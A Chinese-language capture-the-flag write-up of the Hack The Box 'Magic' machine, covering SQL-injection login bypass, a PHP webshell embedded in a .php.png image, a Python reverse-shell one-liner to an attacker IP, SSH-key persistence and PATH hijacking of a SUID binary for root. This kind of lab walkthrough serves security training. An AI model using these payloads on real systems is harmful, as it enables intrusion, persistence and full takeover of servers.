記一次對Hack the box_magic的滲透測試
靶機介紹:
Magic有兩個常見步驟,一個SQLI來繞過登錄,一個webshell上傳,帶有雙擴展名來繞過過濾。從那里,我可以獲得一個shell,并在數據庫中查找憑證,然后切換到user。為了獲得根目錄,有一個二進制文件在沒有完整路徑的情況下調用popen,這使它容易受到路徑劫持攻擊。在Beyond Root中,我將查看導致執行. PHP .png文件的Apache配置、過濾上傳的PHP代碼以及suid二進制文件的源代碼。
信息收集
1.端口掃描

發現存在22和80端口。

2.SQL注入
發現存在SQL注入萬能密碼進行登錄。

存在文件上傳

3生成圖片馬進行文件上傳
使用exiftool -Comment='<?php system($_REQUEST['cmd']); ?>' 1.png 生成一個圖片馬,圖片在網上下一個.png格式的。

發現直接上傳.png格式是無法上傳成功的,將其改成1.php.png格式。再次進行上傳。

成功進行上傳

漏洞利用:
1.命令執行
上傳之后,發現可以執行命令。

2.反彈低權限shell
利用`python3:ython3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`進行反彈shell,然后在瀏覽器進行訪問
http://10.10.10.185/images/uploads/1.php.jpg?0=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用nc監聽8833端口。然后在瀏覽器訪問url地址,成功獲得低權限shell。

權限提升:
1.獲取數據庫用戶賬號密碼
在查看文件的過程中,發現存在db數據庫文件。成功找到了數據庫和密碼。

然后使用mysql進行登錄。

登錄之后,直接獲得了admin用戶密碼。
2.ssh登錄
使用su切換用戶。成功找到第一個user.txt文件。

3.生成ssh公鑰,寫入公鑰。

將公鑰寫入到遠程服務器的authorized_keys文件。
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3EQYtrsL4KEhFMWW1GH2RBKBfYWAxmAXdT/yF2/g3h/dvTjQfKx3HfKkhlBcQQBSp/6ZbeVXZW6bqGhQq+aKvjVOMoHA8/zKZ2SvB3Zt6ehAyiQeCnFeSB1Jou5bDdRsimz6J3XYniOpnGOqk2Ytv35HI5J4900T5GSAXr2InQgPt+94yn60uHBMB5ani5du+1pAxUJOQ+7i6/BdjGvCGwMh+rqyboEM9qRZJiO/hTcMxeMmQTP+iHS3sGuzQaj7KseJV8vjmdC76SLRLOJsMWob/CSytsh/PZhxpNUUmXZAD1eHhOGuos811PpZ3N3RoP7tDHWjr2Ee9evNp8vhMWgUU0HkWr++mpS8/a5cqi0DETPmmnU97EYpOQtDPXMHDyzihYc0OGYgNn4M4OCKcebid1vyhRRlib1UYQx6JKDxIBDeQM0LSbUx0T/qmsOYKOX1vwiTzCaZahRp+gJaiN5pTXMU4hcKOLalnk4urv4u1LOs5QpAWydIQluwCvZM= root@kalii>authorized_keys


4.ssh遠程連接
使用本地ssh進行連接。

5.遠程文件傳輸
在github下載LinEnum.sh,然后本地開啟80端口。

6.使用LinEnum.sh腳本檢測薄弱點
遠程服務器成功下載到,然后使用腳本進行檢測。

發現/bin/sysinfo -x權限很可疑,進行查看。

使用file進行查看,發現是64位的ELF。


7.提權
在本地的free文件寫入提權腳本。

開啟遠程下載。

成功下載到free文件

增加其執行權限,然后添加到環境變量當中。
export PATH="/dev/shm:$PATH"

執行/bin/sysinfo進行查詢。

nc再次開啟監聽,然后成功獲取到root權限。接著進入root目錄,成功獲取到root.txt文件。

總結:
這個靶機從信息收集-漏洞利用-文件上傳。用到了sql注入萬能密碼漏洞獲取登錄權限,然后生成圖片馬,進行命令執行,在使用python3進行反彈shell,獲取低權限shell之后,存在db數據庫文件泄露,然后寫入本地ssh公鑰,利用本地ssh進行登錄,開啟遠程文件傳輸,上傳LinEnm.sh文件進行枚舉權限的缺陷,發現可以利用lshw,fdisk,cat和free等進行權限提升。
